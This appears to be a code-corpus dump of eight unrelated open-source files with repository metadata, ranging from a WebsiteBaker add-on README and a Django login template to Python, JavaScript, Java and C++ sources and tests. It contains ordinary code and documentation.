Do nothing protected: void _append(const log4cpp::LoggingEvent & e) { std::ostringstream oss; oss << boost::this_thread::get_id() << ": " << _getLayout().format(e); BOOST_TEST_MESSAGE(oss.str()); } }; bool init_unit_test_suite() { // Clear all log priorities, root defaults to WARN std::vector<Category *> * cats = Category::getCurrentCategories(); for (std::vector<Category *>::iterator it = cats->begin(); it != cats->end(); it++) (*it)->setPriority((*it)->getName() == std::string("") ? Priority::WARN : Priority::NOTSET); delete cats; // Load log config file boost::filesystem::ifstream logconf(boost::filesystem::path("share/test/LibStarsTest.logconf")); std::string line; if (getline(logconf, line).good()) { Logger::initLog(line); } // Test log priority is always DEBUG Category::getInstance("Test").setPriority(DEBUG); TestAppender * console = new TestAppender("ConsoleAppender"); log4cpp::PatternLayout * layout = new log4cpp::PatternLayout(); layout->setConversionPattern("%p %c : %m"); console->setLayout(layout); Category::getRoot().setAdditivity(false); Category::getRoot().addAppender(console); SignalException::Handler::getInstance().setHandler(); return true; } int main(int argc, char * argv[]) { return boost::unit_test::unit_test_main(init_unit_test_suite, argc, argv); }
jcelaya/stars
src/test/TestSuite.cpp
C++
gpl-3.0
4,080
# cwsoft-addon-file-editor module for CMS WebsiteBaker 2.8.x The `cwsoft-addon-file-editor` (consecutively abbreviated `AFE`) enables you to *view*, *edit*, *delete*, *create*, *upload*, *unzip* or *backup* files of installed Add-ons such as *modules*, *templates* or *languages* from the [WebsiteBaker CMS](http://www.websitebaker2.org) backend. `AFE` allows you to create installation packages of installed Add-ons, ready for installation in WebsiteBaker - handy for distribution or backup purposes. The optional FTP layer implemented in `AFE`, allows you to modify Add-on files normally owned by the *ftp-user*. This might be usefull if your website is hosted on a shared hosting provider using different pemissions for PHP and FTP groups. Another optional feature is the support for the 3rd party online photo editing service [Pixlr](http://pixlr.com), which allows you to modifiy images of Add-ons in a Photoshop&trade; like environment from the WebsiteBaker backend. ## Download You can download an archive of the latest development branch of the `cwsoft-addon-file-editor` module using GitHubs [ZIP button](https://github.com/cwsoft/wb-cwsoft-addon-file-editor/archive/master.zip). The archives of previous module releases can be found in GitHubs [Tags section](https://github.com/cwsoft/wb-cwsoft-addon-file-editor/tags). The development history is tracked via [GitHub](https://github.com/cwsoft/wb-cwsoft-addon-file-editor/commits/master). ***Please note:*** The archives downloaded from GitHub are not ready for installation in WebsiteBaker, as GitHub includes the archive subfolder. To create a working WebsiteBaker installation archive, unpack the downloaded archive on your local computer and zip the contents of the folder ***cwsoft-addon-file-editor*** (without the folder itself). Alternatively download an installable archive from the WebsiteBaker [module section](http://addons.websitebaker2.org/pages/en/browse-add-ons.php). ## License `cwsoft-addon-file-editor` is licensed under the [GNU General Public License (GPL) v3.0](http://www.gnu.org/licenses/gpl-3.0.html). ## Requirements The minimum requirements to get `AFE` running on your WebsiteBaker installation are as follows: - WebsiteBaker ***v2.8.1*** or higher (recommeded last stable 2.8.x version) - PHP ***5.2.2*** or higher (recommended last stable PHP 5.4.x version) - Optional: browser with [Flash&trade; plugin](http://get.adobe.com/de/flashplayer/) to use the [Pixlr](http://pixlr.com) image online service ## Installation 1. download archive from [GitHub](https://github.com/cwsoft/wb-cwsoft-addon-file-editor/archive/master.zip) or [WB repository](http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=02D8BA1) (steps 2-3 only needed for GitHub archive) 2. unpack the archive on your local computer 3. zip the contents of the folder ***cwsoft-addon-file-editor*** (without the folder itself) 4. install the newly zipped archive via the WebsiteBaker installer 6. go to the `Admin-Tools` section and click the `cwsoft-addon-file-editor` tool link ## Usage ### Overview Panel Once `AFE` is installed, visit the ***Admin-Tools*** section of your WebsiteBaker backend and click on the `AFE` admin tool link. This brings you to the `AFE` overview panel. ![](docs/cwsoft-addon-file-editor-overview-panel.png) The `AFE` overview panel lists all installed Add-ons of your WebsiteBaker installation. The Add-ons are grouped into the sections ***Modules***, ***Templates*** and ***Languages***. You can expand/collaps groups to show only the Add-ons you are interested in, providing you have JavaScript enabled in your browser. The toggle status of the groups is stored in a Cookie and will be remembered during the lifetime of this Cookie. When a group is expanded, all installed Add-ons of this group are shown in a list view. A *download icon* is shown at the right side of each Add-on entry. A click on this icon creates an installation package of this Add-on on the fly. Use this option to create a ***backup*** of an Add-on ***BEFORE*** you modify it, so you can revert back to the original version in case you mess up something. To browse the files and folders of a specific Add-on in the `AFE` file manager, click on the Add-on name you are interested in and you will be redirected to the `AFE` file manager. ### File Manager The file manager shows the files and folders of the selected Add-on. ![](docs/cwsoft-addon-file-editor-filemanager.png) The name of the Add-On you are currently editing (1) is displayed just above the filemanager. The path to the actual Add-On (2) relative to the WebsiteBaker root folder is shown at the top of the filemanager. Per default, only files with ***recognized*** file extensions are displayed (3) (text, images, archives). You can add/remove file extension via `AFE` configuration file ***code/config.php*** (5). Details about `AFEs` configuration settings are shown in section [AFE Configuration Settings](https://github.com/cwsoft/wb-cwsoft-addon-file-editor#configuration-settings). To *edit* a text file, or to *view* an image in the browser, just click on it´s file name. To *rename* or *delete* files, click one the ***action icons*** (4) on the right site of the file manager. You can *create* new files/folders or *upload* a file via the **action links** at the top of the file manager (4). The *[Reload]* option forces to read in all files and folders again. Use this option if you have installed a new Addon via the WebsiteBaker backend and it doesn´t show up in `AFE`. #### Online Image Editing Clicking the *edit* icon shown in the action group (4) for image files transfers the image to the online image editor service of [Pixlr](http://pixlr.com). The online service Pixlr allows you to edit images in a Photoshop&trade; like environment from your browser. Using the *save* dialogue in Pixlr copies the modified image as ***image_name.pixlr.png|jpg*** to the actual Add-on folder on your webspace. The original image remains untouched on your server. If you are happy with the image changes made, delete the original image and rename the modified image. Keep in mind that your image is uploaded to the pixlr.com server. So please read the Pixlr [FAQ](http://pixlr.com/faq/) and [Terms & Service](http://pixlr.com/terms_of_service/) ***before*** using this service. You can disable this service via the AFE configuration file ***code/config.php***. Note: Your browser requires a [Flash&trade; plugin](http://get.adobe.com/de/flashplayer/) in order to use the online image service from [Pixlr](http://pixlr.com). #### Unzip Archive Files Clicking the *unzip* icon shown in the action icons group (4) for *.zip files allows you to unzip the archive to the actual folder on your server. This allows you to create nested folder structures and/or multiple files from an existing *.zip archive with ease. The *.zip folder structure is taken over. All files contained in the target exraction folder older than the corresponding file in the archive will be replaced without further notice. ## Configuration Settings You can modify the default settings of `AFE` via the configuration file ***code/config.php*** (5) found in the `cwsoft-addon-file-editor` module folder. You can add/remove file exentison to the recognized file types for *text*, *image*, and *archives*. The default settings are as follows: $text_extensions = array('txt', 'htm', 'html', 'htt', 'tmpl', 'tpl', 'xml', 'css', 'js', 'php', 'php3', 'php4', 'php5', 'jquery', 'preset' ); $image_extensions = array('bmp', 'gif', 'jpg', 'jpeg', 'png'); $archive_extensions = array('zip', 'rar', 'tar', 'gz'); Files with extensions not listed above are *hidden* in the `AFE` file manager by default. To change this behaviour, set ***$show_all_files = true;***. You can remove Add-ons from beeing listed in the `AFE` file manager if you want. To remove the `cwsoft-addon-file-editor` and the English language file from the `AFE` file manager, set ***$hidden_addons = array('cwsoft-addon-file-editor', 'en');*** (all lower case). Per default, the allowed file size for uploads is limited to 2 MB (***$max_upload_size = 2***). Pixlr support (***$pixlr_support = true***) and unzip archive support (***$unzip_archive_support = true***) are enabled per default. ### FTP Configuration Settings `AFE` implements an optional FTP layer, wich is disabled by default. You can activate this feature if required. The `AFE` file manager detects and highlights files which can't be modified by PHP in a red color. If you see Add-ons or Add-on files highlighted in red, enable the FTP layer to modify these files via FTP. The FTP layer can be configured by visiting the URL: *http://yourdomain.com/modules/cwsoft-addon-file-editor/code/ftp_assistant.php*. Update *yourdomain.com* to fit to your domain. The URL to the FTP assistant can only be called by users/groups with permission to the WebsiteBaker Admin tools section. The FTP assistant allows you to test the FTP connection to your server, once the required FTP login information where provided. The FTP login information are stored in the `AFE` database and will be removed when you uninstall `AFE`. ## Known Issues You can track the status of known issues or report new issues found in `AFE` via GitHubs [issue tracking service](https://github.com/cwsoft/wb-cwsoft-addon-file-editor/issues). If you run into any issues with `AFE`, please visit this page first and check if this issue is already known. ***Note:*** The 3rd party package [editarea](http://www.cdolivet.com/editarea/) distributed with WebsiteBaker (/include/editarea) has some bugs when used in Internet Explorer 8/9. Editarea is used by `AFE` and the WebsiteBaker `code` module to highlight and modify code. If you have issues to view/edit Add-on files in `AFE`, please visit the editarea [browser compatibility list](http://www.cdolivet.com/editarea/editarea/docs/compatibility.html) and check if your browser is supported by editarea. If your browser is not supported, please use a supported browser (e.g. Firefox) if you want to have syntax highlighting in WebsiteBaker working - sorry for that. ## Questions If you have questions or issues with `AFE`, please visit the [English](http://www.websitebaker2.org/forum/index.php/topic,24900.0.html) or [German](http://www.websitebaker2.org/forum/index.php/topic,24895.0.html) WebsiteBaker forum support threads and ask for feedback. ***Always provide the following information with your support request:*** - detailed error description (what happens, what have you tried ...) - the `AFE` version (go to WebsiteBaker section Add-ons / Info / AFE) - your PHP version (use phpinfo(); or ask your provider if in doubt) - WebsiteBaker version, Service Pack number and build number of your version - name of the WebsiteBaker backend theme used (e.g. wb_theme, argos_theme ...) - information about changes you made to WebsiteBaker (if any) ## Credits Credits go to the following WebsiteBaker community members: - [Luckyluck](http://www.websitebaker2.org/forum/index.php?action=profile;u=6090), [pcwacht](http://www.websitebaker2.org/forum/index.php?action=profile;u=424), [hans](http://www.websitebaker2.org/forum/index.php?action=profile;u=71): Dutch translation (NL.php) - [oeh](http://www.websitebaker2.org/forum/index.php?action=profile;u=752): Norwegian translation (NO.php) - [quinto](http://www.websitebaker2.org/forum/index.php?action=profile;u=526): French translation (FR.php)
AWolan/wb-cwsoft-addon-file-editor
README.md
Markdown
gpl-3.0
11,483
{% load staticfiles %}{% load i18n %}{% load bootstrap3 %}<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>{% block title %}{% if page_title %}{{page_title}} :: {% endif %}Djunin{% endblock %}</title> <!-- Bootstrap core CSS --> <link href="{% static 'bootstrap/css/bootstrap.min.css' %}" rel="stylesheet"> <!-- Custom styles for this template --> <link href="{% static 'site.css' %}" rel="stylesheet"> </head> <body> <div class="container-fluid login-form"> <h1 class="text-center">Djunin</h1> <form action="" method="post" class="login-form"> {% csrf_token %} {% bootstrap_form form %} <button class="btn btn-primary" type="submit">{% trans "Login" %}</button> </form> </div> <script type="text/javascript"> document.getElementById('id_username').focus(); </script> </body> </html>
ercpe/djunin
djunin/templates/registration/login.html
HTML
gpl-3.0
986
import os import pytest import perun.utils.helpers as helpers import perun.utils.streams as streams import perun.logic.store as store import perun.logic.index as index import perun.utils.exceptions as exceptions import perun.utils.timestamps as timestamps __author__ = 'Tomas Fiedor' @pytest.mark.usefixtures('cleandir') def test_malformed_indexes(tmpdir, monkeypatch, capsys): """Tests malformed indexes""" index_file = os.path.join(str(tmpdir), "index") index.touch_index(index_file) # Try different number of stuff old_read_int = store.read_int_from_handle def mocked_read_int(_): return 2 monkeypatch.setattr('perun.logic.store.read_int_from_handle', mocked_read_int) with open(index_file, 'rb') as index_handle: with pytest.raises(SystemExit): print(list(index.walk_index(index_handle))) _, err = capsys.readouterr() assert "fatal: malformed index file: too many or too few objects registered in index" in err monkeypatch.setattr('perun.logic.store.read_int_from_handle', old_read_int) monkeypatch.setattr('perun.logic.index.INDEX_VERSION', index.INDEX_VERSION - 1) with open(index_file, 'rb') as index_handle: with pytest.raises(exceptions.MalformedIndexFileException) as exc: index.print_index_from_handle(index_handle) assert "different index version" in str(exc.value) index_file = os.path.join(str(tmpdir), "index2") index.touch_index(index_file) monkeypatch.setattr('perun.logic.index.INDEX_MAGIC_PREFIX', index.INDEX_MAGIC_PREFIX.upper()) with open(index_file, 'rb') as index_handle: with pytest.raises(exceptions.MalformedIndexFileException) as exc: index.print_index_from_handle(index_handle) assert "not an index file" in str(exc.value) @pytest.mark.usefixtures('cleandir') def test_correct_index(tmpdir): """Test correct working with index""" index_file = os.path.join(str(tmpdir), "index") index.touch_index(index_file) index.print_index(index_file) @pytest.mark.usefixtures('cleandir') def test_versions(tmpdir, monkeypatch): """Test correct working with index""" monkeypatch.setattr('perun.logic.index.INDEX_VERSION', index.IndexVersion.SlowLorris.value) pool_path = os.path.join(os.path.split(__file__)[0], 'profiles', 'degradation_profiles') profile_name = os.path.join(pool_path, 'linear_base.perf') profile = store.load_profile_from_file(profile_name, True) index_file = os.path.join(str(tmpdir), "index") index.touch_index(index_file) st = timestamps.timestamp_to_str(os.stat(profile_name).st_mtime) sha = store.compute_checksum("Wow, such checksum".encode('utf-8')) basic_entry = index.BasicIndexEntry(st, sha, profile_name, index.INDEX_ENTRIES_START_OFFSET) index.write_entry_to_index(index_file, basic_entry) with pytest.raises(SystemExit): with open(index_file, 'rb+') as index_handle: index.BasicIndexEntry.read_from(index_handle, index.IndexVersion.FastSloth) with open(index_file, 'rb+') as index_handle: index_handle.seek(index.INDEX_ENTRIES_START_OFFSET) entry = index.BasicIndexEntry.read_from(index_handle, index.IndexVersion.SlowLorris) assert entry == basic_entry index.print_index(index_file) # Test update to version 2.0 index with open(index_file, 'rb+') as index_handle: index_handle.seek(4) version = store.read_int_from_handle(index_handle) assert version == index.IndexVersion.SlowLorris.value monkeypatch.setattr('perun.logic.index.INDEX_VERSION', index.IndexVersion.FastSloth.value) monkeypatch.setattr('perun.logic.store.split_object_name', lambda _, __: (None, index_file)) monkeypatch.setattr('perun.logic.index.walk_index', lambda _: []) index.get_profile_list_for_minor(os.getcwd(), index_file) with open(index_file, 'rb+') as index_handle: index_handle.seek(4) version = store.read_int_from_handle(index_handle) assert version == index.IndexVersion.FastSloth.value # Test version 2 index monkeypatch.setattr('perun.logic.index.INDEX_VERSION', index.IndexVersion.FastSloth.value) index_v2_file = os.path.join(str(tmpdir), "index_v2") index.touch_index(index_v2_file) extended_entry = index.ExtendedIndexEntry(st, sha, profile_name, index.INDEX_ENTRIES_START_OFFSET, profile) index.write_entry_to_index(index_v2_file, extended_entry) with open(index_v2_file, 'rb+') as index_handle: index_handle.seek(index.INDEX_ENTRIES_START_OFFSET) stored = index.ExtendedIndexEntry.read_from(index_handle, index.IndexVersion.FastSloth) assert stored == extended_entry index.print_index(index_v2_file) # Test FastSloth with SlowLorris monkeypatch.setattr('perun.logic.index.INDEX_VERSION', index.IndexVersion.FastSloth.value) monkeypatch.setattr('perun.logic.pcs.get_object_directory', lambda: '') monkeypatch.setattr('perun.logic.store.load_profile_from_file', lambda *_, **__: profile) index_v1_2_file = os.path.join(str(tmpdir), "index_v1_2") index.touch_index(index_v1_2_file) index.write_entry_to_index(index_v1_2_file, basic_entry) with open(index_v1_2_file, 'rb+') as index_handle: index_handle.seek(index.INDEX_ENTRIES_START_OFFSET) stored = index.ExtendedIndexEntry.read_from(index_handle, index.IndexVersion.SlowLorris) assert stored.__dict__ == extended_entry.__dict__ @pytest.mark.usefixtures('cleandir') def test_helpers(tmpdir): index_file = os.path.join(str(tmpdir), "index") index.touch_index(index_file) with open(index_file, 'rb+') as index_handle: store.write_string_to_handle(index_handle, "Hello Dolly!") index_handle.seek(0) stored_string = store.read_string_from_handle(index_handle) assert stored_string == "Hello Dolly!" current_position = index_handle.tell() store.write_list_to_handle(index_handle, ['hello', 'dolly']) index_handle.seek(current_position) stored_list = store.read_list_from_handle(index_handle) assert stored_list == ['hello', 'dolly'] @pytest.mark.usefixtures('cleandir') def test_streams(tmpdir, monkeypatch): """Test various untested behaviour""" # Loading from nonexistant file yaml = streams.safely_load_yaml_from_file("nonexistant") assert yaml == {} # Load file with incorrect encoding tmp_file = tmpdir.mkdir("tmp").join("tmp.file") with open(tmp_file, 'wb') as tmp: tmp.write(bytearray("hello šunte", "windows-1252")) file = streams.safely_load_file(tmp_file) assert file == [] # Safely load from string yaml = streams.safely_load_yaml_from_stream('"root: 1"') assert yaml == {'root': 1} # Bad yaml yaml = streams.safely_load_yaml_from_stream('"root: "1 "') assert yaml == {} # Nonexistant file with pytest.raises(exceptions.IncorrectProfileFormatException): store.load_profile_from_file("nonexistant", False) monkeypatch.setattr("perun.logic.store.read_and_deflate_chunk", lambda _: "p mixed 1\0tmp") with pytest.raises(exceptions.IncorrectProfileFormatException): store.load_profile_from_file(tmp_file, False)
tfiedor/perun
tests/test_store.py
Python
gpl-3.0
7,270
/** @jsx React.DOM */ jest.dontMock('./../jsx/jestable/DeleteButton.js'); describe('DeleteButton', function() { it('creates a button that deletes keyword from the keyword list', function() { var React = require('react/addons'); var DeleteButton = require('./../jsx/jestable/DeleteButton.js'); var Ids = require('./../jsx/jestable/Ids.js'); var TestUtils = React.addons.TestUtils; var mockDelete = jest.genMockFn(); // Render a delete button in the document var deleteBtn = TestUtils.renderIntoDocument( <DeleteButton handleDelete={ mockDelete } itemText={ "itemText" } idNumber={0}/> ); // Verify that it has the correct id and class attributes var btn = TestUtils.findRenderedDOMComponentWithTag(deleteBtn, 'img'); expect(btn.getDOMNode().id).toEqual(Ids.extension + "-keyword-" + 0); expect(btn.getDOMNode().className).toEqual(Ids.extension + "-ui-clickable"); // Simulate a click and verify that it calls delete function TestUtils.Simulate.click(btn); expect(mockDelete.mock.calls.length).toBe(1); }); });
Reynslan/moggo
components/__tests__/DeleteButton-test.js
JavaScript
gpl-3.0
1,154
/* * This file is part of MinecartRevolution-Core. * Copyright (c) 2012 QuarterCode <http://www.quartercode.com/> * * MinecartRevolution-Core is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * MinecartRevolution-Core is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with MinecartRevolution-Core. If not, see <http://www.gnu.org/licenses/>. */ package com.quartercode.minecartrevolution.core.util.cart; import org.bukkit.Bukkit; import org.bukkit.Location; import org.bukkit.entity.Minecart; import org.bukkit.event.vehicle.VehicleDestroyEvent; import org.bukkit.util.Vector; import com.quartercode.minecartrevolution.core.util.Direction; public class MinecartUtil { public static double getSpeed(Minecart minecart) { Vector velocity = minecart.getVelocity(); if (velocity.getX() > 0) { return velocity.getX(); } else if (velocity.getX() < 0) { return -velocity.getX(); } else if (velocity.getZ() > 0) { return velocity.getZ(); } else if (velocity.getZ() < 0) { return -velocity.getZ(); } else { return 0; } } public static void setSpeed(Minecart minecart, double speed) { Vector velocity = minecart.getVelocity(); if (velocity.getX() > 0) { velocity.setX(speed); } else if (velocity.getX() < 0) { velocity.setX(-speed); } else if (velocity.getZ() > 0) { velocity.setZ(speed); } else if (velocity.getZ() < 0) { velocity.setZ(-speed); } minecart.setVelocity(velocity); } public static void addSpeed(Minecart minecart, double speed) { setSpeed(minecart, getSpeed(minecart) + speed); } public static void subtractSpeed(Minecart minecart, double speed) { addSpeed(minecart, -speed); } public static void multiplySpeed(Minecart minecart, double factor) { Vector velocity = minecart.getVelocity(); velocity.setX(velocity.getX() * factor); velocity.setZ(velocity.getZ() * factor); minecart.setVelocity(velocity); } public static void divideSpeed(Minecart minecart, double factor) { Vector velocity = minecart.getVelocity(); velocity.setX(velocity.getX() / factor); velocity.setZ(velocity.getZ() / factor); minecart.setVelocity(velocity); } public static void driveInDirection(Minecart minecart, Direction direction) { Vector velocity = minecart.getVelocity(); double speed = 0.3913788423600029; if (direction == Direction.SOUTH) { Location newLocation = minecart.getLocation(); newLocation.setZ(minecart.getLocation().getZ() - 1.0D); minecart.teleport(newLocation); velocity.setZ(-speed); } else if (direction == Direction.WEST) { Location newLocation = minecart.getLocation(); newLocation.setX(minecart.getLocation().getX() + 1.0D); minecart.teleport(newLocation); velocity.setX(speed); } else if (direction == Direction.NORTH) { Location newLocation = minecart.getLocation(); newLocation.setZ(minecart.getLocation().getZ() + 1.0D); minecart.teleport(newLocation); velocity.setZ(speed); } else if (direction == Direction.EAST) { Location newLocation = minecart.getLocation(); newLocation.setX(minecart.getLocation().getX() - 1.0D); minecart.teleport(newLocation); velocity.setX(-speed); } minecart.setVelocity(velocity); } public static boolean remove(Minecart minecart) { VehicleDestroyEvent event = new VehicleDestroyEvent(minecart, null); Bukkit.getPluginManager().callEvent(event); if (!event.isCancelled()) { minecart.remove(); } return event.isCancelled(); } private MinecartUtil() { } }
QuarterCode/MinecartRevolution
core/src/main/java/com/quartercode/minecartrevolution/core/util/cart/MinecartUtil.java
Java
gpl-3.0
4,595
package com.abm.mainet.water.domain; import java.util.Date; import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.FetchType; import javax.persistence.GeneratedValue; import javax.persistence.Id; import javax.persistence.JoinColumn; import javax.persistence.ManyToOne; import javax.persistence.Table; import org.hibernate.annotations.GenericGenerator; /** * @author deepika.pimpale * */ @Entity @Table(name = "TB_WT_CSMR_ADDITIONAL_OWNER") public class AdditionalOwnerInfo { @Id @GenericGenerator(name = "MyCustomGenerator", strategy = "com.abm.mainet.common.utility.SequenceIdGenerator") @GeneratedValue(generator = "MyCustomGenerator") @Column(name = "CAO_ID", precision = 12, scale = 0, nullable = false) private Long cao_id; @ManyToOne(fetch = FetchType.LAZY) @JoinColumn(name = "CS_IDN", nullable = false) private TbKCsmrInfoMH csIdn; @Column(name = "CAO_TITLE", length = 15, nullable = false) private String ownerTitle; @Column(name = "CAO_FNAME", length = 300, nullable = false) private String ownerFirstName; @Column(name = "CAO_MNAME", length = 300, nullable = true) private String ownerMiddleName; @Column(name = "CAO_LNAME", length = 300, nullable = true) private String ownerLastName; @Column(name = "CAO_ADDRESS", length = 1000, nullable = true) private String cao_address; @Column(name = "CAO_CONTACTNO", length = 50, nullable = true) private String cao_contactno; @Column(name = "CAO_NEW_TITLE", length = 10, nullable = false) private Long caoNewTitle; @Column(name = "CAO_NEW_FNAME", length = 300, nullable = false) private String caoNewFName; @Column(name = "CAO_NEW_MNAME", length = 300, nullable = true) private String caoNewMName; @Column(name = "CAO_NEW_LNAME", length = 300, nullable = true) private String caoNewLName; @Column(name = "CAO_NEW_ADDRESS", length = 1000, nullable = true) private String caoNewAddress; @Column(name = "CAO_NEW_CONTACTNO", length = 50, nullable = true) private String caoNewContactno; @Column(name = "CAO_NEW_GENDER", length = 10, nullable = true) private Long caoNewGender; @Column(name = "CAO_NEW_UID", length = 12, nullable = true) private Long caoNewUID; @Column(name = "APM_APPLICATION_ID", length = 16, nullable = true) private Long apmApplicationId; @Column(name = "ORGID", precision = 4, scale = 0, nullable = false) // comments : Organization id private Long orgid; @Column(name = "USER_ID", precision = 7, scale = 0, nullable = true) // comments : User id private Long userId; @Column(name = "LANG_ID", precision = 7, scale = 0, nullable = true) // comments : Language id private Long langId; @Column(name = "LMODDATE", nullable = true) // comments : Last Modification Date private Date lmoddate; @Column(name = "UPDATED_BY", precision = 7, scale = 0, nullable = true) // comments : User id who update the data private Long updatedBy; @Column(name = "UPDATED_DATE", nullable = true) // comments : Date on which data is going to update private Date updatedDate; @Column(name = "LG_IP_MAC", length = 100, nullable = true) // comments : stores ip information private String lgIpMac; @Column(name = "LG_IP_MAC_UPD", length = 100, nullable = true) // comments : stores ip information private String lgIpMacUpd; @Column(name = "CAO_GENDER", nullable = true) // comments : stores ip information private Long gender; @Column(name = "CAO_UID", length = 12, nullable = true) // comments : stores ip information private Long caoUID; @Column(name = "IS_DELETED", length = 1, nullable = true) private String isDeleted; public String[] getPkValues() { return new String[] { "WT", "TB_WT_CSMR_ADDITIONAL_OWNER", "CAO_ID" }; } public Long getCao_id() { return cao_id; } public void setCao_id(final Long cao_id) { this.cao_id = cao_id; } public String getCao_address() { return cao_address; } public void setCao_address(final String cao_address) { this.cao_address = cao_address; } public String getCao_contactno() { return cao_contactno; } public void setCao_contactno(final String cao_contactno) { this.cao_contactno = cao_contactno; } public Long getOrgid() { return orgid; } public void setOrgid(final Long orgid) { this.orgid = orgid; } public Long getUserId() { return userId; } public void setUserId(final Long userId) { this.userId = userId; } public Long getLangId() { return langId; } public void setLangId(final Long langId) { this.langId = langId; } public Date getLmoddate() { return lmoddate; } public void setLmoddate(final Date lmoddate) { this.lmoddate = lmoddate; } public Long getUpdatedBy() { return updatedBy; } public void setUpdatedBy(final Long updatedBy) { this.updatedBy = updatedBy; } public Date getUpdatedDate() { return updatedDate; } public void setUpdatedDate(final Date updatedDate) { this.updatedDate = updatedDate; } public String getLgIpMac() { return lgIpMac; } public void setLgIpMac(final String lgIpMac) { this.lgIpMac = lgIpMac; } public String getLgIpMacUpd() { return lgIpMacUpd; } public void setLgIpMacUpd(final String lgIpMacUpd) { this.lgIpMacUpd = lgIpMacUpd; } public TbKCsmrInfoMH getCsIdn() { return csIdn; } public void setCsIdn(final TbKCsmrInfoMH csIdn) { this.csIdn = csIdn; } public String getOwnerTitle() { return ownerTitle; } public void setOwnerTitle(final String ownerTitle) { this.ownerTitle = ownerTitle; } public String getOwnerFirstName() { return ownerFirstName; } public void setOwnerFirstName(final String ownerFirstName) { this.ownerFirstName = ownerFirstName; } public Long getCaoUID() { return caoUID; } public void setCaoUID(final Long caoUID) { this.caoUID = caoUID; } public Long getGender() { return gender; } public void setGender(final Long gender) { this.gender = gender; } public String getOwnerMiddleName() { return ownerMiddleName; } public void setOwnerMiddleName(final String ownerMiddleName) { this.ownerMiddleName = ownerMiddleName; } public String getOwnerLastName() { return ownerLastName; } public void setOwnerLastName(final String ownerLastName) { this.ownerLastName = ownerLastName; } public Long getCaoNewTitle() { return caoNewTitle; } public void setCaoNewTitle(final Long caoNewTitle) { this.caoNewTitle = caoNewTitle; } public String getCaoNewFName() { return caoNewFName; } public void setCaoNewFName(final String caoNewFName) { this.caoNewFName = caoNewFName; } public String getCaoNewMName() { return caoNewMName; } public void setCaoNewMName(final String caoNewMName) { this.caoNewMName = caoNewMName; } public String getCaoNewLName() { return caoNewLName; } public void setCaoNewLName(final String caoNewLName) { this.caoNewLName = caoNewLName; } public String getCaoNewAddress() { return caoNewAddress; } public void setCaoNewAddress(final String caoNewAddress) { this.caoNewAddress = caoNewAddress; } public String getCaoNewContactno() { return caoNewContactno; } public void setCaoNewContactno(final String caoNewContactno) { this.caoNewContactno = caoNewContactno; } public Long getCaoNewGender() { return caoNewGender; } public void setCaoNewGender(final Long caoNewGender) { this.caoNewGender = caoNewGender; } public Long getCaoNewUID() { return caoNewUID; } public void setCaoNewUID(final Long caoNewUID) { this.caoNewUID = caoNewUID; } public Long getApmApplicationId() { return apmApplicationId; } public void setApmApplicationId(final Long apmApplicationId) { this.apmApplicationId = apmApplicationId; } /** * @return the isDeleted */ public String getIsDeleted() { return isDeleted; } /** * @param isDeleted the isDeleted to set */ public void setIsDeleted(final String isDeleted) { this.isDeleted = isDeleted; } }
abmindiarepomanager/ABMOpenMainet
Mainet1.1/MainetServiceParent/MainetServiceWater/src/main/java/com/abm/mainet/water/domain/AdditionalOwnerInfo.java
Java
gpl-3.0
9,175
// This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. #include <RcppArmadillo.h> // do not include Rcpp.h! #include <RcppEigen.h> // [[Rcpp::depends(RcppArmadillo)]] // [[Rcpp::depends(RcppEigen)]] using namespace Rcpp; using namespace arma; using namespace Eigen; // [[Rcpp::export]] Rcpp::List GD_Cpp_eigen(NumericVector &YR, NumericMatrix &XR, NumericMatrix &thetaR, double alpha = 1, int max_iterations = 1000) { const Map<MatrixXd> X(as<Map<MatrixXd> >(XR)); Map<MatrixXd> theta(as<Map<MatrixXd> >(thetaR)); const Map<VectorXd> Y(as<Map<VectorXd> >(YR)); int nrows = X.rows(), kcols = X.cols(); double oldCost = ((X * theta - Y).array().pow(2).sum() * 0.5 / nrows); MatrixXd error; MatrixXd delta = MatrixXd::Ones(kcols, 1); double trialCost; MatrixXd trialTheta = theta - alpha * delta; double max_delta = delta.array().abs().maxCoeff(); int iteration = 0; while (max_delta > 1e-5) { error = X * theta - Y; delta = X.transpose() * error / nrows; max_delta = delta.array().abs().maxCoeff(); trialTheta = theta - alpha * delta; trialCost = ((X * trialTheta - Y).array().pow(2).sum() * 0.5 / nrows); while ((trialCost >= oldCost)) { trialTheta = (theta + trialTheta) * 0.5; trialCost = ((X * trialTheta - Y).array().pow(2).sum() * 0.5 / nrows); } oldCost = trialCost; theta = trialTheta; iteration = iteration + 1; if (iteration == max_iterations) break; } return Rcpp::List::create(Rcpp::Named("Cost") = oldCost, Rcpp::Named("theta") = theta); } // [[Rcpp::export]] Rcpp::List GD_Cpp_arma(const colvec &Y, const mat &X, mat &theta, double alpha = 1, int max_iterations = 1000) { int nrows = X.n_rows, kcols = X.n_cols; mat delta; delta.ones(kcols); double oldCost = sum(pow(X * theta - Y, 2)) * 0.5 / nrows; mat max_matrix = max(abs(delta)); mat error(nrows, kcols); mat trialTheta(kcols, 1) ; double trialCost; int iteration = 0; while (max_matrix(0, 0) > 1e-5) { error = X * theta - Y; delta = X.t() * error / nrows; max_matrix = max(abs(delta)); trialTheta = theta - alpha * delta; trialCost = sum(pow(X * trialTheta - Y, 2)) * 0.5 / nrows; while (trialCost >= oldCost) { trialTheta = (theta + trialTheta) * 0.5; trialCost = sum(pow(X * trialTheta - Y, 2)) * 0.5 / nrows; } oldCost = trialCost; theta = trialTheta; iteration = iteration + 1; if (iteration == max_iterations) break; } return Rcpp::List::create(Rcpp::Named("Cost") = oldCost, Rcpp::Named("theta") = theta); }
costis-t/smallProjects
